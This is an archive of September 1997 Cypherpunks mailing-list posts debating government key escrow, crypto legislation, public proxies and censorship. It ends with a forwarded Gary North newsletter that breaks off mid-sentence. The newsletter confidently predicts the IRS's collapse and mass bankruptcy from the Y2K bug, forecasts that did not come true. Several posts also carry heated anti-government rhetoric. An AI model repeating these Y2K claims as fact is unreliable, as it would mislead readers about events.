o The "reliable parties" that need strong crypto will have strong crypto.
o Those that don't really need strong crypto won't have it.
o The government has new and better surveillance and control capabilities.
o The Cypherpunks attack on the State has been rebuffed, since the widespread use of strong crypto it requires won't occur. (Just to help those that will counter by saying that they'll still have a copy of PGP save some time: this is utterly irrelevant. The individual, or even a group of individuals can never be a danger to the State. Annoying perhaps, but not a danger to its existance. In fact, the occasional Cypherpunks with his copy of PGP provides a net benefit to the State. Just as the occasional terrorist or nutcase with a rifle does).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Mon, 15 Sep 1997 11:15:35 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Federal motivation
In-Reply-To: <199709150051.CAA25392@basement.replay.com>
Message-ID: <v03102802b04241f3ff05@[17.219.103.249]>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous, signing as Monty Cantsin, Editor in Chief of Smile Magazine
quotes my Cypherpunks summary's quote of Eric Hughes:
>Martin Minow wrote:
>> EH: Why do the Fed's want access to plaintext? The motivation has
>> not been made clear. Policy goals are stated in technological terms,
>> not in policy terms.
>
>Perhaps we can elaborate on this.  Judging from their actions, what
>they want is a full blown police state.  They've seen the product, now
>they want one of their own.  This is obvious to everybody on this
>list, but sometimes people are coy about it, probably in an effort to
>appear to be "legitimate".
>

Sorry, it isn't obvious to me. The most paranoid I can work myself
up to is to assume that some (not all) of our leaders want to restore
their half-remembered 1950's Dick-and-Jane, big car, Eisenhauer suburbian
childhood; and are afraid that letting absolute privacy loose will
be the end-of-civilization-as-we-know-it. This parallels the battles
that were waged in the early 1960's, as the civil rights movement
(and the Pill) shattered the myth of suburbia. The police and FBI
felt, quite sincerely, that they were in the midst of a revolution
and had to take "necessary measures" to save America.

The new cryptography makes the Internet safe for child pornographers,
for revolutionaries, for criminals, as well as for human rights
workers, for religious missionaries in unfriendly countries, and
multinational corporations. The message I read from the attempt
to criminalize strong cryptography is that the risk of damage
from the pornographers (etc.) is so great that we must restrict
cryptography and trust the national leadership to respect the
rights of the good guys. Unfortunately, one country's human
rights worker is another country's dangerous revolutionary.

Remember, the Martin Luther King who was thrown in jail in Alabama
in the early 1960's was the same Martin Luther Kings who received
the Nobel Peace Prize a few years later, and who was killed for
his revolutionary activities just a few years after that. Whether
he was a hero or villian depends on who writes the history book
and it is, ultimately, our responsibility to make sure that many,
conflicting, history books can be written.

Martin Minow
minow@apple.com









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 15 Sep 1997 10:15:21 +0800
To: "snow" <snow@smoke.suba.com>
Subject: Re: Bean Counting II
In-Reply-To: <v0310280eb03e81265f20@[207.167.93.63]>
Message-ID: <v03102800b042485868c6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:28 PM -0700 9/14/97, snow wrote:
>> >If we had the proper figures to work with then we could make a valid
>> >judgment as to how many lives anti-GAK supporters would have to put
>> >in danger in order to tip the balance so that it would be in the best
>> >interests of the citizens to allow strong non-GAK'ed crypto.
>> >I, for one, would hate to see lives lost needlessly merely because
>> >those opposing GAK did not have the proper figures to work with.
>> This is a worthless and dangerous argument to make. If you can't see why,
>> you have no business writing articles on this list.
>> Hint: "The greatest good for the greatest number" is passe.
>
>	I took the original writers point to be that maybe, just maybe
>the reason they aren't giving us any numbers is because there AREN'T
>any numbers. That the chances are strong crypto _won't_ cause any deaths.
>Won't cost any lives. They know that.

And that's nonsense. The widespread deployment of strong crypto will in
various ways "cause" various deaths, in ways we've discussed many times
over the years.

So? Some of them will have deserved death, some will have gotten caught in
situations they didn't deserve, and so on. Any new technology or
communications medium produces deaths. Freedom of speech inevitably
triggers some historical developments which cause deaths. So?

It is fatuous nonsense to suggest "That the chances are strong crypto
_won't_ cause any deaths."

Not that "body counts" are a basis for deciding on basic freedoms. Which
was my point.


--Tim


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 15 Sep 1997 07:17:54 +0800
To: "Sam 'MaCpHReaK'  Chua" <samchua@singnet.com.sg>
Subject: Re: Proxies
In-Reply-To: <v03110701b04209789665@[165.21.186.199]>
Message-ID: <Pine.LNX.3.96.970914190806.674A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 15 Sep 1997, Sam 'MaCpHReaK'  Chua wrote:

> Does anyone know of any public proxies?
> Knowing that your sojourns through the net go through your Government's
> proxies is really unnerving.

http://www.publius.net/~remailer/proxy_list.txt has a list of almost 200
publicly accessible web proxies.



Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 15 Sep 1997 11:16:07 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Pro-censorship lobbyist calls for AOL boycott
In-Reply-To: <Pine.GSO.3.95.970911200353.26032A-100000@well.com>
Message-ID: <v03102809b0425491c2e1@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:04 PM -0700 9/11/97, Declan McCullagh wrote:
>CHEYENNE, Wyo. (AP) - Marc Klaas, whose daughter Polly was abducted from
>her bedroom and killed in 1993, is calling for a boycott of American
>Online until it stops allowing access to a Florida woman who posts writing
>and art by serial killers on the Internet.
>	Klaas particularly objects to the work of Keith Hunter Jesperson,
>who is serving three life sentences in Oregon for killings in the
>Northwest and is charged with one murder in Wyoming.
>	"America Online is hiding behind freedom of speech in allowing
>this monster to have a public forum," said Klaas, who was in Wyoming this
>week to promote the Klaas Foundation for Children, which he established
>after his daughter's slaying.
>	Officials for the nation's largest Internet access provider said
>Thursday that some material from the home page of Sondra London of
>Jacksonville, Fla., would be removed within 24 hours.


If someone on the list can figure out Sondra London's email address (I've
had no luck so far) we should show her how to use the Etermity service.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@MCIMAIL.COM>
Date: Mon, 15 Sep 1997 08:05:57 +0800
To: cypherpunks <cypherpunks@Algebra.COM>
Subject: Escrow system design query
Message-ID: <01INNGT441W0AKTJ63@DGN0IG.mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone know of a solid document out there in the web that actually
describes the proposed key escrow backbone network?  After wading through
considerable junk in the search engines (my, but the net is wordy on the
topic), I didn't turn up anything that looked like architecture.
MW





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 15 Sep 1997 08:57:23 +0800
To: cypherpunks@ssz.com
Subject: Re: cypherpunks-j & CDR - cross subscription? (fwd)
Message-ID: <199709150104.UAA30446@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 14 Sep 1997 07:36:25 +0200
> To: Jim Choate <ravage@ssz.com>
> From: Joichi Ito <jito@eccosys.com>
> Subject: Re: cypherpunks-j & CDR - cross subscription?
> Cc: sen@eccosys.com
> 
> > Please let me know when you get cypherpunks-e up and running and I'll start
> > dumping to it from this end. Also please subscribe 'cpunks@ssz.com' to your
> > cypherpunks-e list so that I get outgoing.
> 
> OK. Just set up the list. I am using ezmlm with qmail in its vanilla form.
> I'm not sure what it uses for duplicates and loop control.. hmm... 
> I am leaving for Tokyo from Austria in one hour so maybe it is a bad idea
> to subscribe cpunks@ssz.com until I'm back?
> 
> In any case, please put cypherpunks-e@htp.org on the distribution for the
> list. If you think that your list can take care of all of the loop control,
> then can you tell me, or send mail to cypherpunks-e-subscribe@htp.org and
> add yourself to the ML?
> 
> Thanks for all of your help and appreciate very much being added to your
> network.
> 
>  - Joi
> 
> --
> Ars Electronica 9/8-9/14: Contact VIA GSM +49-171-357-9233
> PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
> PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
> Home Page: http://domino.garage.co.jp/jito/joihome.nsf
> To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to
> Tonga is not a signatory to the Berne or the Paris Intellectual Property
> Conventions

I just got the chance to add the link. They should be online for receive
only until Jiochi adds the cpunks@ssz.com subscription on his end.

We were originaly considering adding the cypherpunks-j list but the issue of
non-english language traffic arose. We compromised I suppose...

    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Mon, 15 Sep 1997 11:13:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: unSAFE won't pass?
Message-ID: <19970915030641.1770.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com>:

>By late September, the Commerce committee will vote on SAFE. By
>mid-October, the committee chairs should have worked out a compromise
>package. This goes to the Rules committee, chaired by Solomon. Until 
last
>week he vowed to block SAFE. Now he'd like, I'm told, to get the FBI's
>version to the floor immediately. There are, however, only so many 
slots
>on the suspension calendar.

The thing I still don't understand is why anyone thinks the house
will support the new bill.  There were hundreds of co-sponsors for
SAFE in its original form.  The modified version is exactly the
opposite of the original SAFE.  So it seems like a majority of house
members should oppose the bill.

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Mon, 15 Sep 1997 09:36:32 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Bean Counting II
In-Reply-To: <v0310280eb03e81265f20@[207.167.93.63]>
Message-ID: <199709150128.UAA00354@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> >If we had the proper figures to work with then we could make a valid
> >judgment as to how many lives anti-GAK supporters would have to put
> >in danger in order to tip the balance so that it would be in the best
> >interests of the citizens to allow strong non-GAK'ed crypto.
> >I, for one, would hate to see lives lost needlessly merely because
> >those opposing GAK did not have the proper figures to work with.
> This is a worthless and dangerous argument to make. If you can't see why,
> you have no business writing articles on this list.
> Hint: "The greatest good for the greatest number" is passe.

	I took the original writers point to be that maybe, just maybe
the reason they aren't giving us any numbers is because there AREN'T 
any numbers. That the chances are strong crypto _won't_ cause any deaths.
Won't cost any lives. They know that. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 15 Sep 1997 11:34:11 +0800
To: unicorn@schloss.li>
Subject: Re: Real issue of crypto controls: security or taxation loss?
In-Reply-To: <3.0.3.32.19970913121630.006c66c0@schloss.li>
Message-ID: <3.0.2.32.19970914202931.006a7280@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:34 PM 9/14/97 -0500, jf_avon@citenet.net wrote:
>Do they indulge in statistical efficiency or do they want 99.9999+% 
>efficiency at their "filtering"?  I'd say if they "filter" only, say, 
>90% of all communications and an Oklahoma City plan passes by in the 
>10% remaining, it won't be good enough for them.

There are several fallacies in this paragraph. I'll address two of them.

First, you assume that terrorist actions are bad for the State. That is
incorrect. Terroism, unless widely supported by the population, is of great
benefit to the State. It helps to speed the passing of restrictive
legislation. If you doubt this, please do some research on the laws passed
in response to Oklahoma City in the US and the relevant laws passed
throughout the EU during the late seventies and early eighties.

Second, you assume that it would become widely know that the incriminating
message was missed by the monitors. This is also incorrect, unless the
monitors themselves choose to reveal the fact to support their future
requests for increased monitoring capablities.

The lack of positive identification of all participants on the Internet is
a displeasing hole to the surveillance state. Only an Internet driver
license can help patch this hole.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 15 Sep 1997 11:52:57 +0800
To: cypherpunks@cyberpass.net
Subject: IRS tax reform y2k style
Message-ID: <199709150346.UAA18593@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




Gary North has been predicting apocalypse on the y2k subject
for awhile. but he has a lot of data to back his claims.
this talks about the IRS computers and predicts they're going
to collapse.



------- Forwarded Message

- - -----BEGIN PGP SIGNED MESSAGE-----
>Gary North's
>                              REMNANT REVIEW
>emailbonus:                                       Matt. 6:33-34
>year2000@garynorth.com
>
>           Preparing the Remnant for the far side of the crisis
>   
>Vol. 24, No. 9                 590              September 5, 1997
>    
>       I am hereby lifting the copyright of this issue of
>       Remnant Review.  This one I want you to send to your
>       friends, neighbors, boss, Congressman, and anyone
>       else who might want advance information on the end,
>       at long last, of the 16th Amendment: vetoed by Year
>       2000 noncompliant computers.  Photocopy it, print it,
>       whatever.  Then visit my Web site for full documen-
>       tation (under "Government"):
>
>THE ULTIMATE TAX REFORM: JANUARY 1, 2000
>
>     What I am about to report will verify what I have been saying all 
>year.  If this doesn't constitute proof, I don't know what can persuade 
>you.  From this point on, anyone who tells you that the Millennium Bug 
>is not a big deal, or who says, "We'll just have to wait and see about y2k, 
>there's no need to hurry," simply doesn't know what he's talking about.  
>Ignore him.
>
>     On August 21, I stumbled into the most amazing government 
>document I have ever seen.  I had read a brief news story about a 
>company that had applied for a contract to work as a subcontractor for 
>the IRS in a restructuring of its computer systems.  The IRS admitted to 
>Congress last January that its $4 billion, 11-year attempt to modernize 
>its computer systems had failed.  Here was a follow-up story.  So, I went 
>to the company's Web site to find more information.  This led me on a 
>merry chase across the Web.
>
>     Finally I landed on the IRS's page -- specifically, its page relating 
to 
>its PRIME project.  There were pages of blue links to documents, each 
>one with a strange name or the name of a state.  It was not clear to me at 
>first what I had discovered.  So, I started clicking links.  I found nothing 


>that I could understand, link after link: government bureaucratese.  
>Then I hit pay dirt: the mother lode, my friends -- what we have been 
>waiting for since 1913.  Deliverance.  Free at last, free at last!  THE 
>IRS'S MAINFRAME COMPUTERS -- 63 OF THEM, PLUS 
>MICROCOMPUTERS -- ARE ON THE BRINK OF TOTAL 
>COLLAPSE.  Yee-hah!
>
>     This amazing admission appears in an innocuously titled document, 
>"Request for Comments (RFC) for Modernization Prime Systems 
>Integration Services Contractor" (May 15, 1997).  The author is Arthur 
>Gross, Associate Commissioner of the IRS and Chief Information 
>Officer, i.e., the senior IRS computer honcho.  It was Mr.  Gross who 
>went before Congress in January to admit defeat.
>
>     Mr. Gross now says that the IRS is no longer capable of operating its 
>own computer systems.  The IRS has over 7,500 people involved in just 
>computer maintenance, with a budget a $1 billion a year (Appendix B. 
>p. 2), yet they can no longer handle the load.  And so, says Mr. Gross, 
>some of them are going to get fired.  You can imagine the continuing 
>morale problem that this announcement will cause!  The IS (information 
>systems) division will be, as they say, DOWNSIZED.  From now on, the 
>IRS must achieve the following:
>
>           . . . shifting the focus of IS management to a
>           business orientation: servicing customers with
>           exponentially increasing technology needs,
>           implementing massive new technology applications
>           on schedule within budget while managing the
>           downsizing of the IS organization
>           (Appendix B. p. 2).
>
>     Do you think that people slaving away in their cubicles, trying to fix 
>the Millennium Bug, will respond favorably to this notice?  "Fix it, and 
>then you're out!"  Mr. Gross knows better.  So, with this amazing 
>document, he calls on private industry to come in and TAKE OVER 
>THE ENTIRE IRS COMPUTER DIVISION.  This is what Mr. Gross 
>calls "a strategic partnership" (p. 1).  The new partners will have to fix 
>the Millennium Bug.  The IRS will give them exactly eight months, start 
>to finish: October 1, 1998 to the end of June, 1999.
>
>                     The IRS's Digital Augean Stables
>
>     Perhaps you have had trouble on occasion getting information from 
>the IRS about your account.  After reading this document, I now know 
>why.   The information is held in what the IRS calls "Master Files" (p. 
>4).  These files are held in the Martinsburg, West Virginia, computer.  
>This computer receives data sent in by 10 regional centers that use a 
>total of 60 separate mainframes.  These mainframes do not talk to each 
>other.  Or, as Mr. Gross puts it, they are part of "an extraordinarily 
>complex array of legacy and stand-alone modernized systems with 
>respect both to connectivity and inoperability between the mainframe 
>platforms and the plethora of distributed systems" (p. 4).  This is 
>bureaucratese, but I do understand the word, INOPERABILITY.
>
>     The tax data build up in the local mainframes for five business days.  
>Then they are uploaded to West Virginia.  This may take up to 10 actual 
>days.  Then the Martinsburg computer sends it all back to the regional 
>computers in the Service Centers.  Then the information is made 
>available to the "Customer Service Representatives" (p. 5), i.e., local tax 
>collectors.  The elapsed time may take two weeks.
>
>     But . . . it turns out that the actual source payment documents are not 


>sent to the Master Files.  Neither is "specific payment or tax 
>information."  This information stays in what the IRS calls 
>STOVEPIPED SYSTEMS, meaning stand-alone data bases "which, for 
>the most part, are not integrated with either the Master Files or the 
>corporate on-line system, IDRS" (p. 5).  Separate tax assessments for the 
>same person can appear in six separate systems, and these do not 
>communicate with each other (p. 5).  "Further, each system generates 
>management reporting information which is not homogeneous, one with 
>the other . . ." (p. 7).  To help us visualize this mess, and much larger 
>messes, the document includes charts.  These charts are so complex that 
>my printer was unable to print out the 116-page document -- probably 
>not enough RAM.  I had to get two other people involved to get one 
>readable copy.
>
>     I have included one of these charts on the back page, just for fun.  Go 


>ahead.  Take a quick look.  No need to get out your magnifying glass 
>just yet.   Then comes the key admission: "These infrastructures are 
>largely not century date compliant . . ." (p. 11).  The phrase "century 
>date compliant" is the government's phrase for Year 2000-compliant.  In 
>other words, THE IRS'S COMPUTERS ARE GOING TO CRASH.  
>Now hear this:
>
>          In addition to three computing centers, (Memphis,
>          Detroit and Martinsburg) the latter of which is a
>          fully operational tax processing center, the IRS
>          deploys a total of sixty mainframes in its ten
>          regional service centers.
>
>          None of the mainframes are compliant, thereby
>          necessitating immediate actions ranging from
>          systems software upgrades to replacement (p. 9).
>
>It gets worse:
>
>          A still greater and far reaching wave of work
>          in the form of the Century Date Project is
>          cascading over the diminishing workforce that
>          is already insufficient to keep pace with the
>          historical levels of workload.  For the Internal
>          Revenue Service, the Century Date Project is
>          uniquely challenging, given the aged and non-
>          century compliant date legacy applications and
>          infrastructure as well as thousands of undocumented
>          applications systems developed by business personnel
>          in the IRS field operations which are resident on
>          distributed infrastructures but not as yet
>          inventoried (p. 13).
>
>     Notice especially two key words: "undocumented" and "inventoried."  
>"Undocumented" means there is no code writer's manual.  They either 
>lost it or they never had it.  "Inventoried" means they know where all of 
>the code is installed.  But it says: "not as yet inventoried."  How much 
>code?  Lots.
>
>          The IS organization has inventoried and scheduled
>          for analysis and conversion, as required, the
>          approximately 62 million lines of computer code
>          comprising the IRS core business systems.  With
>          respect to the business supported field
>          applications and infrastructures, however, we do
>          not know what we do not know.  Until central field
>          systems and infrastructures are completed, the IRS
>          will be unable to analyze, plan, and schedule the
>          field system conversion (p. 13).
>
>     I love this phrase: WE DO NOT KNOW WHAT WE DO NOT 
>KNOW.  This is surely not bureaucratese.  Now, let's put all of this into 
>a clearer perspective.  The Social Security Administration discovered its 
>y2k problem in 1989.  In 1991, programmers began to work on 
>correcting the agency's 30 million lines of code.  By mid-1996, they had 
>completed repairs on 6 million lines (CIO Magazine, Sept. 15, 1996.)  
>Got that?  It took five years for them to fix 6 million lines.  But the IRS 
>has 62 million lines THAT THEY KNOW ABOUT, but they don't know 
>about the rest.  It's out there, but there is no inventory of it.
>
>     Consider the fact that they have not completed their inventory.  The 
>1996 "California White Paper," which is the y2k guide issued by the IS 
>division of the California state government's y2k repair project, says that 
>inventory constitutes 1% of the overall code repair project.  Awareness 
>is 1%.  So, after you get finished with inventory, YOU HAVE 98% OF 
>YOUR PROJECT AHEAD OF YOU.  Meanwhile, the IRS has not yet 
>completed its inventory.
>
>     The IRS has led the American welfare state into a trap.  The Federal 
>government, like the U.S. economy, will be restructured in the year 
>2000.  Most Americans will be in bankruptcy by 2001, but they will be 
>free.
>
>     Meanwhile, the news media are all a-dither about the Clinton-
>Congress accord on taxes, which will balance the budget in 2002.  As 
>George Gobel used to say, "Suuuuuure it will."  Who is going to collect 
>revenues in 2000?
>
>                   Please Help Get Us Out of This Mess!
>
>     The next section of Mr. Gross's report I find truly unique. When was 
>the last time you read something like this in an agency's report on its 
>own capacity?  (The next time will be the first.)
>
>          THE CHALLENGE: THE INFORMATION SYSTEMS (IS)
>          ORGANIZATION LACKS SUFFICIENT TECHNICAL
>          MANAGEMENT CAPACITY TO SIMULTANEOUSLY 
>          SUPPORT TODAY'S ENVIRONMENT, EFFECTUATE THE 
>          CENTURY DATE CONVERSION AND MANAGE 
>         MODERNIZATION (p. 13).
>
>     This states the IRS's problem clearly: its computer systems are just 
>barely making it now, and the Year 2000 Problem will torpedo them.
>
>          Mr. Gross then announces the IRS's solution: quit.  The IRS has 
>now admitted that "tax administration is its core business" and it will 
>now "shift responsibility for systems development and integration 
>services to the private sector . . ." (p. 54).  But first, it must find some 


>well-heeled partners.   
>
>     "The IRS has acknowledged that its expertise now and in the future 
>is tax administration."  This means that "the IS organization must be 
>rebuilt to preserve the existing environment and partner with the private 
>sector to Modernize the IRS" (p. 13).  I love it when someone capitalizes 
>"Modernize."  Especially when it really means "officially bury."
>
>     Then the coup de grace: "Any reasonable strategy to move forward, 
>therefore, would focus on managing the immediate crisis -- 'stay in 
>business' while building capacity to prepare for future Modernization" 
>(p. 14).  Then comes part 2 of the report:
>
>                         The Next Eighteen Months:
>                          Staying in Business and
>                        Preparing for Modernization
>
>     Mr. Gross knows that there is a deadline, and it isn't 2000.  It's 
>months earlier.  He has selected June, 1999.  Most organizations have 
>selected December, 1998.  This allows a year for testing.  Mr. Gross is 
>more realistic.  He knows late 1998 is too early.  The IRS can't do it.  (I 
>would say that late 2008 is too early.  The IRS has tried to revamp its 
>computer system before.)
>
>     . . . the IRS must undertake and complete major infrastructure 
>initiatives no later than June 1999, to minimally ensure century date 
>compliance for each of its existing mainframes and/or their successor 
>platforms.  At the same time, the IRS must complete the inventory of its 
>field infrastructures as well as develop and exercise a century date 
>compliance plan for the conversion replacement and/or elimination of 
>those infrastructures. (p. 19).
>
>     Then comes an astounding sentence.  This sentence is astounding 
>because it begins with the word, IF.  (Note: RFC stands for Request for 
>Comment.)
>
>     IF THE INFRASTRUCTURE ANALYSIS BECOMES 
>AVAILABLE, UPDATES WILL BE PROVIDED TO POTENTIAL 
>OFFERERS TO ASSIST IN DEVELOPING RESPONSES TO THE 
>RFC.
>
>   If...? IF...?  He is warning all those private firms that he is inviting
>in 
>to clean up the mess that they may not be given the code analysis.  But 
>code analysis constitutes the crucial 15% of any Year 2000 repair job, 
>according to the California White Paper.  Then, and only then, can code 
>revision begin.   
>
>     Meanwhile, the IRS system's code is collapsing even without y2k.  
>The programmers are not able to test all of the new code.  Mr.  Gross 
>calls this "Product Assurance."  This division, he says, has "sunk to 
>staffing levels less than 30 percent of the minimum industry standard . . 
>. ."  This makes it "one of the highest priorities within the IS 
>organization, given that, today, major tax systems are not subjected to 
>comprehensive testing prior to being migrated to production" (p. 15).  In 
>short, Congress passes new tax code legislation, and the IRS 
>programmers implement these changes WITHOUT TESTING THE 
>NEW CODE.  Now comes y2k.  As he says, "the Century Date 
>Conversion will place an extraordinary additional burden on the Product 
>Assurance Program."  I don't want to bore you, but when I find the most 
>amazing government document I've ever seen, I just can't stop.  Neither 
>could Mr. Gross:
>
>     Regrettably, the challenge is far more overarching: to modernize 
>functioning but aged legacy systems which have been nearly irreparably 
>overlaid by and interfaced with a tangle of stovepiped distributed 
>applications systems and networked infrastructures (p. 55).
>
>     I'll summarize.  The IRS has got bad code on 63 aging mainframe 
>systems, plus micros.  It has lost some of the code manuals.  It does not 
>know how much code it has.  It must now move ("migrate") the data 
>from these y2k noncompliant computers -- data stored in legacy 
>programs that are not y2k compliant -- to new computers with new 
>programs.  These computers must interact with each other, unlike 
>today's system.  Bear in mind that some of this code -- I have seen 
>estimates as high as 30% -- is written in Assembler language, which is 
>not understood by most programmers today: perhaps 50,000 of them, 
>worldwide (Cory Hamasaki's estimate).  Then everything must be tested, 
>side by side, old system vs. new system, on mainframe computers, before 
>anyone can trust anything.  (This assumes that extra mainframes are 
>available, but they aren't.)  Warning:
>
>     Beyond the magnitude of the applications system migration, the 
>complexity and enormity of the date conversion that would be required 
>necessitates careful planning and risk mitigation strategies (e.g., parallel 


>processing).  While the risks inherent in Phase III may be nearly 
>incalculable given the age of the systems, the absence of critical 
>documentation, dependency on Assembler Language Code (ALC) and 
>the inevitable turnover of IRS workforce supporting these systems, it is 
>essential to plan and execute the conversion of the Master Files and its 
>related suite of applications (p. 30).
>
>     I'll say it's essential!  The key question is: Is it possible?  No.
>
>     Can you believe this sentence?  "The risks inherent in Phase III may 
>be nearly incalculable . . ."  What does he mean, "may be"?  They ARE.
>
>     Meanwhile, Congress keeps changing the Internal Revenue Code.  
>This creates a programming nightmare: coding the new laws.  So, how 
>big is this project?  Here is how Mr. Gross describes it: "Modernization 
>is the single largest systems integration undertaking in world eclipsing 
>in breadth and depth any previous efforts of either the public or private 
>sector.  Given the fluid nature of the Nation's Tax Laws, Modernization 
>is likely to be the most dynamic, creating even greater complexity and, 
>in turn, compounding the risks" (p. 54).  Many, many risks.
>
>     Two questions arise: (1) Who is going to fix it?  (2) At what price?  
>The answer?  He has no answer.  All he knows is that this project is so 
>huge that NORMAL COMPETITIVE BIDDING WILL NOT WORK.  
>For this project, the IRS is not saying what its "partners" will be paid.  
>It's open for negotiation.
>
>     You may be thinking: "Boondoggle."  I'm thinking: "Legal liability 
>in 2000 larger than any company's board of directors would rationally 
>want to risk, unless they think Congress will pass a no-liability law in 
>2000."  Here is Mr. Gross's description of the special arrangement.  Pay 
>close attention to the words "competitive process."  He bold faces them; I 
>do, too.
>
>     Our challenge, therefore, is to FORGE A BUSINESS PLAN AND
>     PUBLIC/PRIVATE PARTNERSHIP in accordance with federal
>     governmental procurement laws and regulations ABSENT THE
>     TRADITIONAL LEVEL OF DETAILED REQUIREMENTS 
>     TYPICALLY ESTABLISHED AS THE BASIS OF THE 
>     COMPETITIVE PROCESS (p. 60).
>
>     He calls on businesses to create a "DETAILED SYSTEMS 
>DEVELOPMENT PLAN" (p. 60).  He goes on: "In general, the IRS 
>seeks to create a business plan which: Shares risk with the private 
>sector; Incents [incents???!!!] the private sector to either share or 
>assume the 'front end' capital investment . . ." (p. 60).  Read it again.  
>Yes, it really says that.  THE IRS WANTS THE PRIVATE SECTOR 
>TO PUT UP MOST OR ALL OF THE MONEY TO FIX ITS ENTIRE 
>SYSTEM.
>
>     This is why the minimum requirement for a company to make a bid 
>is $200 million in working capital.  It has to have experience in 
>computers.  It must be able to repair 5 million lines of code (p. 70).
>
>     How complex is this job?  The complexity is mind-boggling: a seven-
>volume "Modernization Blueprint."  To buy it on paper costs $465, or 
>you can get a copy on a free CD-ROM.  Needless to say, I got the CD-
>ROM.
>
>     So, you think, at least the IRS is getting on top of this problem.  
>Suuuuure, it is.  The contract award date is [let's hear a drum roll, 
>please]: October 1, 1998 (p. 73).  How realistic is this?  You may 
>remember Mr. Gross's deadline: June 1999.  So, he expects these firms 
>to be able to fix 62 million lines of noncompliant code, if they can find 
>the missing code in the field offices, even though the IRS has lost the 
>documentation for some of this code, in an eight-month window of 
>productivity.  Social Security isn't compliant after seven years of work 
>on less than half the IRS's number of lines of code.
>
>     The IRS is facing a complete breakdown.  Its staff can't fix the code.  


>The IRS wants private firms to pay for the upgrade and manage the 
>computer systems from now on.  It does not know how much code it has.  
>It does not have manuals for all of the old code.  It does not even know 
>how to pay the firms that get the contracts: either by "contractually 
>agreed upon fees" or "pursuant to measurable outcomes of the 
>implemented systems" (p. 61).  It has called for very large and 
>experienced firms to submit comments by October 1, 1997.
>
>     In short, the IRS does not know what it is doing, let alone what it has 


>to do.  It only knows that it has to find a few suckers in private industry 
>to bear the costs of implementing a new, improved IRS computer system 
>and then assume responsibility for getting it Year 2000-compliant 
>between October 1, 1998 and the end of June 1999.  ("There's one born 
>every minute.")  Here are 12 companies that have expressed interest: 
>Anderson Consulting, Computer Sciences Corporation, EDS 
>Government Services (EDS is not itself y2k compliant), GTE 
>Government Systems, Hughes Information Technology Systems, IBM, 
>Litton PRC, Lockheed Martin Corporation, Northrup Grumman 
>Corporation, Ratheon E-Systems, Tracor Information Systems 
>Company, and TRW.  The list is posted at:               
>
>http://www.ustreas.gov/treasury/bureaus/irs/prime/interest.htm    
>
>                                Conclusion
>
>     It's all over but the shouting.  The IRS is going bye-bye.  
>Accompanying it will be the political career of Mr. Gingrich and the 
>historical reputation of Mr. Clinton.  Bill Clinton will be remembered as 
>the President on whose watch the Federal government shut down and 
>stayed shut down.  First Mate Newt will try to avoid going down with 
>the ship of state, but he won't make it.  And as for Al Gore . . . .  Well, 
>maybe he can get a job herding cattle on the Texas ranch of his ex-
>roommate at Harvard, Tommy Lee Jones.  Think of it: not "Gore in 
>2000," but GORED IN 2000.  Mr. Information Highway will hit a dead 
>end.
>
>     On June 30, 1999, the IRS will know that its computers are still 
>noncompliant.  On the next day, July 1, fiscal year 2000 rolls over on 
>the Federal government's computers and on every state government's 
